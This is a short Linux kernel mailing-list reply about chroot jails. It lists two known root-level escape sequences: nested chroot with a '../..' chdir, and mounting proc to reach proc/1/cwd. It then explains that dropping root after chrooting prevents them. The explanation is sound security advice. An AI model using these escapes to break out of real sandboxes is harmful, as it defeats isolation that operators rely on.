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    SubjectRe: Linux 2.2.18pre21
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    [jesse]
    > 1. Your server closes all open directory file descriptors and chroots.
    > 2. Someone manages to run some exploit code in your process space which--

    mkdir("foo")
    chroot("foo")
    chdir("../../../../../../../../../..")
    chroot(".")

    mkdir proc
    mount -t proc none proc
    cd proc/1/cwd

    Two easy "get out of jail free" cards. There are other, more complex
    exploits. You have added one more. They all require root privileges.

    Bottom line: once you are in the chroot jail, you must drop root
    privileges, or you defeat the purpose. Security-conscious coders know
    this; it's not Linux-specific behavior or anything.

    Peter
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